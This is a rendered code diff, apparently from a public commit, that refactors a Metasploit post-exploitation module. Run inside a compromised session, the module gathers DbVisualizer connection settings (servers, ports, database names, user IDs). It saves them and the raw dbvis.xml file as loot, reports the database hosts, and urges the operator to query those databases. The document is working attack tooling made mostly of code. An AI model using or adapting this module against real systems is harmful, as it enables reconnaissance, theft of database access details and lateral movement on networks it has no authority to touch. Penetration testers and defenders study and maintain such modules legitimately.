5
5
6
6
require 'msf/core'
7
7
require 'msf/core/auxiliary/report'
8
- require "resolv"
9
8
10
9
class Metasploit3 < Msf ::Post
11
10
@@ -15,22 +14,21 @@ class Metasploit3 < Msf::Post
15
14
16
15
def initialize ( info = { } )
17
16
super ( update_info ( info ,
18
- 'Name' => 'Dbvis Connections settings ' ,
17
+ 'Name' => 'Multi Gather Dbvis Connections Settings ' ,
19
18
'Description' => %q{
20
19
DbVisualizer stores the user database configuration in dbvis.xml.
21
- This module retrieves the connections settings from this file.
20
+ This module retrieves the connections settings from this file.
22
21
} ,
23
22
'License' => MSF_LICENSE ,
24
- 'Author' => [ 'David Bloom <@philophobia78> ' ] ,
23
+ 'Author' => [ 'David Bloom' ] , # Twitter: @philophobia78
25
24
'Platform' => %w{ linux win } ,
26
25
'SessionTypes' => [ 'meterpreter' , 'shell' ]
27
26
) )
28
27
end
29
28
30
29
def run
31
-
32
30
db_table = Rex ::Ui ::Text ::Table . new (
33
- 'Header' => "Dbvis available databases " ,
31
+ 'Header' => "Dbvis Databases " ,
34
32
'Indent' => 2 ,
35
33
'Columns' =>
36
34
[
@@ -43,15 +41,14 @@ def run
43
41
"Userid" ,
44
42
] )
45
43
46
-
47
44
dbs = [ ]
48
45
49
46
case session . platform
50
47
when /linux/
51
48
user = session . shell_command ( "whoami" ) . chomp
52
49
print_status ( "Current user is #{ user } " )
53
50
if ( user =~ /root/ )
54
- user_base = "/root/"
51
+ user_base = "/root/"
55
52
else
56
53
user_base = "/home/#{ user } /"
57
54
end
@@ -65,77 +62,94 @@ def run
65
62
dbvis_file = user_profile + "\\ .dbvis\\ config70\\ dbvis.xml"
66
63
end
67
64
65
+ unless file? ( dbvis_file )
66
+ print_error ( "File not found: #{ dbvis_file } " )
67
+ return
68
+ end
69
+
68
70
db = { }
69
71
print_status ( "Reading: #{ dbvis_file } " )
70
- dbfound = false
72
+ dbfound = false
73
+
74
+ raw_xml = ""
75
+ begin
76
+ raw_xml = read_file ( dbvis_file )
77
+ rescue EOFError
78
+ # If there's nothing in the file, we hit EOFError
79
+ print_error ( "Nothing read from file: #{ dbvis_file } , file may be empty" )
80
+ return
81
+ end
82
+
71
83
# read config file
72
- read_file ( dbvis_file ) . each_line do |line |
73
- if ( line =~ /<Database id=/ )
74
- dbfound = true
75
- else if ( line =~ /<\/ Database>/ )
76
- dbfound = false
77
- if db [ :Database ] . nil?
78
- db [ :Database ] = "" ;
79
- end
80
- if db [ :Namespace ] . nil?
81
- db [ :Namespace ] = "" ;
82
- end
83
- # save
84
- dbs << db if ( db [ :Alias ] and db [ :Type ] and db [ :Server ] and db [ :Port ] )
85
- db = { }
86
- end
87
- if ( dbfound = true )
88
- # get the alias
89
- if ( line =~ /<Alias>([\S +\s +]+)<\/ Alias>/i )
90
- db [ :Alias ] = $1
91
- end
92
-
93
- # get the type
94
- if ( line =~ /<Type>([\S +\s +]+)<\/ Type>/i )
95
- db [ :Type ] = $1
96
- end
97
- # get the user
98
- if ( line =~ /<Userid>([\S +\s +]+)<\/ Userid>/i )
99
- db [ :Userid ] = $1
100
- end
101
-
102
- # get the server
103
- if ( line =~ /<UrlVariable UrlVariableName="Server">([\S +\s +]+)<\/ UrlVariable>/i )
104
- db [ :Server ] = $1
105
- end
106
-
107
- # get the port
108
- if ( line =~ /<UrlVariable UrlVariableName="Port">([\S +]+)<\/ UrlVariable>/i )
109
- db [ :Port ] = $1
110
- end
111
-
112
- # get the database
113
- if ( line =~ /<UrlVariable UrlVariableName="Database">([\S +\s +]+)<\/ UrlVariable>/i )
114
- db [ :Database ] = $1
115
- end
116
-
117
- # get the Namespace
118
- if ( line =~ /<UrlVariable UrlVariableName="Namespace">([\S +\s +]+)<\/ UrlVariable>/i )
119
- db [ :Namespace ] = $1
120
- end
121
- end
122
- end
84
+ raw_xml . each_line do |line |
85
+ if line =~ /<Database id=/
86
+ dbfound = true
87
+ elsif line =~ /<\/ Database>/
88
+ dbfound = false
89
+ if db [ :Database ] . nil?
90
+ db [ :Database ] = "" ;
91
+ end
92
+ if db [ :Namespace ] . nil?
93
+ db [ :Namespace ] = "" ;
94
+ end
95
+ # save
96
+ dbs << db if ( db [ :Alias ] and db [ :Type ] and db [ :Server ] and db [ :Port ] )
97
+ db = { }
98
+ end
99
+
100
+ if dbfound == true
101
+ # get the alias
102
+ if ( line =~ /<Alias>([\S +\s +]+)<\/ Alias>/i )
103
+ db [ :Alias ] = $1
104
+ end
105
+
106
+ # get the type
107
+ if ( line =~ /<Type>([\S +\s +]+)<\/ Type>/i )
108
+ db [ :Type ] = $1
109
+ end
110
+
111
+ # get the user
112
+ if ( line =~ /<Userid>([\S +\s +]+)<\/ Userid>/i )
113
+ db [ :Userid ] = $1
114
+ end
115
+
116
+ # get the server
117
+ if ( line =~ /<UrlVariable UrlVariableName="Server">([\S +\s +]+)<\/ UrlVariable>/i )
118
+ db [ :Server ] = $1
119
+ end
120
+
121
+ # get the port
122
+ if ( line =~ /<UrlVariable UrlVariableName="Port">([\S +]+)<\/ UrlVariable>/i )
123
+ db [ :Port ] = $1
124
+ end
125
+
126
+ # get the database
127
+ if ( line =~ /<UrlVariable UrlVariableName="Database">([\S +\s +]+)<\/ UrlVariable>/i )
128
+ db [ :Database ] = $1
129
+ end
130
+
131
+ # get the Namespace
132
+ if ( line =~ /<UrlVariable UrlVariableName="Namespace">([\S +\s +]+)<\/ UrlVariable>/i )
133
+ db [ :Namespace ] = $1
134
+ end
135
+ end
123
136
end
124
137
125
138
# print out
126
139
dbs . each do |db |
127
- if ( !! ( db [ :Server ] =~ Resolv :: IPv4 :: Regex ) )
128
- print_good ( "Reporting #{ db [ :Server ] } " )
129
- report_host ( :host => db [ :Server ] ) ;
140
+ if :: Rex :: Socket . is_ipv4? ( db [ :Server ] . to_s )
141
+ print_good ( "Reporting #{ db [ :Server ] } " )
142
+ report_host ( :host => db [ :Server ] ) ;
130
143
end
144
+
131
145
db_table << [ db [ :Alias ] , db [ :Type ] , db [ :Server ] , db [ :Port ] , db [ :Database ] , db [ :Namespace ] , db [ :Userid ] ]
132
146
end
133
147
134
148
if db_table . rows . empty?
135
149
print_status ( "No database settings found" )
136
150
else
137
- print_line ( "\n " + db_table . to_s )
138
-
151
+ print_line ( "\n " )
152
+ print_line ( db_table . to_s )
139
153
print_good ( "Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !" )
140
154
print_good ( "" )
141
155
# store found databases
@@ -146,16 +160,11 @@ def run
146
160
db_table . to_csv ,
147
161
"dbvis_databases.txt" ,
148
162
"dbvis databases" )
149
-
150
163
print_good ( "Databases settings stored in: #{ p . to_s } " )
151
-
152
164
end
165
+
153
166
print_status ( "Downloading #{ dbvis_file } " )
154
167
p = store_loot ( "dbvis.xml" , "text/xml" , session , read_file ( dbvis_file ) , "#{ dbvis_file } " , "dbvis config" )
155
168
print_good "dbvis.xml saved to #{ p . to_s } "
156
-
157
- rescue ::Exception => e
158
- print_error ( "Couldn't read #{ dbvis_file } : #{ e . to_s } " )
159
169
end
160
-
161
170
end
0 commit comments